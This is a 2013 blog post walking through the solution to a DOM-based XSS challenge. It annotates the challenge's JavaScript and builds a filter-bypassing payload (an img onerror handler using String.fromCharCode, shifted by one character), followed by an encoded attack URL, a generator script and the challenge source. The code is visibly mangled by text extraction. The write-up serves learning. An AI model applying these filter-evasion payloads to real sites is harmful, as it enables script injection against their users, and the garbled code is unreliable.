Hackers2DevNull

Hackers2DevNull

Sunday 19 May 2013

"One does not simply finds a DOM based XSS without js analysis"


Checkout this cool blog from Prakhar Prasad (http://blog.prakharprasad.com/), they setup an interesting XSS challenge that requires code analysis to solve, here: xss.prakharprasad.com (also thanks to MaXoNe who I think contributed to it).


//(If you find this useful, why not checkout a advert below to support the blog? :O ) ~r0ng


It's a fun challenge, try it yourself! My solution/analysis below:

ignoring commented out lines: */1.)
            function 
ascii(data) {        
                    return 
parseInt(data.charCodeAt(0));    //returns the integers from the unicode equivalent of data
                
}2.)
                function 
chr(data) {
                    return 
String.fromCharCode(data);        //convert data from unicode equivalent to string
                
}3.)

  function 
simple_decode(data) {                //function decode variable 'data'
                    
var decoded '';               
                    
data data.substr(0data.length 6);    //cut the last 6 characters out of data
                    
for (0data.lengthi++) {        //for each character in the 'cut' data...
                        
decoded += (chr(ascii(data[i]) - 1))    //converts the data from unicode (less 1) back to string
                    
}
                    return 
decoded;
                }
4.)

    function 
validate(data) {            
                    
data simple_decode(data);            //get string (less 1 in unicode for each character), set new data variable
                                //filter- regmatch: "alert(", "prompt(", or "confirm("    return null if any found.
                    
cond = (data.indexOf(simple_decode('bmfsu)itSvMl')) > -|| data.indexOf(simple_decode('qspnqu)eUbfjz')) > -|| data.indexOf(simple_decode('dpogjsn)ptBfCe')) > -1);
                    return (
cond null data);
                }
5.)

function 
getData(hash)

                 {
                    return 
unescape(hash.substr(1hash.length));//unescape uri encoded hash, drop first character
                
}6.)

    if (
location.hash) {                    //now dealing with url anchors e.g. whatever.html#data

                    
taint validate(getData(location.hash));    //taint= input data only if doesn't contain alert(, prompt( etc..
                    
cond getData(location.hash);        //cond= data from url

                    
if (cond.substr(cond.length 11) == '!') {//if the last character in the data is "!", then change the hello element's html

                        
document.getElementById('hello').innerHTML taint;

                    }
                } else {
                    
document.getElementById('hello').innerHTML += '<br> Try to find a valid XSS vector, after reviewing the code :)'
                
}



 Lets reverse:


1. Innerhtml (DOM) cannot run JS via JS tags, but we have an app for that! onerror attribute!: <img src=a onerror=alert()>

2.  we need to have a "!" at the end of the vector. Vector now: <img src=a onerror=alert()>!

3.  Defeat the filter, indexof won't find alert if it is charcode encoded (overkill). Also add 6 characters that are stripped. Vector now: "<img src=a onerror=eval(String.fromCharCode(97,108,101,114,116,40,39,67,104,101,97,116,115,111,110,39,41))>!!!!!!!!"


4. and finally add 1 in unicode to each character "=jnh!tsd>b!pofssps>fwbm)Tusjoh/gspnDibsDpef):8-219-212-225-227-51-4:-78-215-212-:8-227-226-222-221-4:-52**?""!!!!"
 

http://xss.prakharprasad.com#=jnh!tsd>b!pofssps>fwbm)Tusjoh/gspnDibsDpef):8-219-212-225-227-51-4:-225-59-221-214-43-22:-:8-226-43-215-212-225-212-4:-52**?!!!!!!!

The encoded vector was achieved by simply reversing the original code, open the below in your browser to do it yourself.


<script>


 function 
ascii(data) {
                    return 
parseInt(data.charCodeAt(0));
                }

                function 
chr(data) {
                    return 
String.fromCharCode(data);
                }

 function 
simple_decode(data) {
                    var 
decoded '';
                    
data data.substr(0data.length);
                    for (
0data.lengthi++) {
                        
decoded += (chr(ascii(data[i]) +1))
                    }
                    return 
decoded;
                }
String.prototype.toCharCode = function(){
                    var 
str this.split(''), len str.lengthwork = new Array(len);
                    for (var 
0len; ++i){
                   
work[i] = String.charCodeAt(str[i]);
                   }
                 return 
work.join(',');
                }


  var 
text prompt("Enter text to alert");
  var 
input "alert('" text "')"
  
var vector=  simple_decode(("<img src=a onerror=eval(String.fromCharCode(" input.toCharCode() + "))>")) + "!!!!!!!";
  
alert(vector);</script> 



And here is the original source code in case the site ever goes down:



 <!DOCTYPE html>
<
html>
    <
title>JavaScript Analysis and DOM-based XSS Challenge</title>

    <
head>
        <
style type="text/css">
            
#hello {
                
font-family:monospace;
                
font-size:30px;
                
color#FFFFFF;
            
}
            
#one {
                
font-family:monospace;
                
font-styleitalic;
                
color#FFFFFF;
            
}
            
body {
                
background-color#000000;
            
}
            </
head>
        </
style>

        <
body>
            <
center><b><p id='hello'DOM-based XSS Challenge with JS Analysis</p></b>

                </
br>
                </
br>
                </
br>
                <
p id='one'>One does not simply finds a DOM based XSS without js analysis</p>
                <
img src='considered.png' width='350px' height='300px'>
                </
br>
                </
br>
                </
br>
                <
p id='one'>One does not simply finds a DOM based XSS without js analysis</p>
            </
center>
            <
script>
                function 
ascii(data) {
                    return 
parseInt(data.charCodeAt(0));
                }

                function 
chr(data) {
                    return 
String.fromCharCode(data);
                }

                
/*

   function hmm()
   {

       var append = '';
       for(i=0; i<=5;i++)
      {
          append += chr(Math.floor((Math.random()*58)+65));
      }
      return append;
   }
    function simple_encode(data)
    {
        hmm();
        var encoded = '';
        for(i=0; i<data.length;i++)
        {
    
            encoded +=(chr(ascii(data[i]) + 1));
    
        }
        encoded += hmm();
        return encoded;
    }

For Hints Ask: @prakharprasad, @rafaybaloch
Submit your vector: http://goo.gl/VlzWR

Special Thanks to Rafay Baloch, Maxone, Dhaval and Amol Naik

*/

                
function simple_decode(data) {
                    var 
decoded '';
                    
data data.substr(0data.length 6);
                    for (
0data.lengthi++) {
                        
decoded += (chr(ascii(data[i]) - 1))
                    }
                    return 
decoded;
                }


                function 
validate(data) {
                    
data simple_decode(data);
                    
cond = (data.indexOf(simple_decode('bmfsu)itSvMl')) > -|| data.indexOf(simple_decode('qspnqu)eUbfjz')) > -|| data.indexOf(simple_decode('dpogjsn)ptBfCe')) > -1);
                    return (
cond null data);
                }

                function 
getData(hash)

                 {
                    return 
unescape(hash.substr(1hash.length));
                }

                if (
location.hash) {

                    
taint validate(getData(location.hash));
                    
cond getData(location.hash);

                    if (
cond.substr(cond.length 11) == '!') {

                        
document.getElementById('hello').innerHTML taint;

                    }
                } else {
                    
document.getElementById('hello').innerHTML += '<br> Try to find a valid XSS vector, after reviewing the code :)'
                
}
            
</script>        </body>

</html>


No comments:

Post a Comment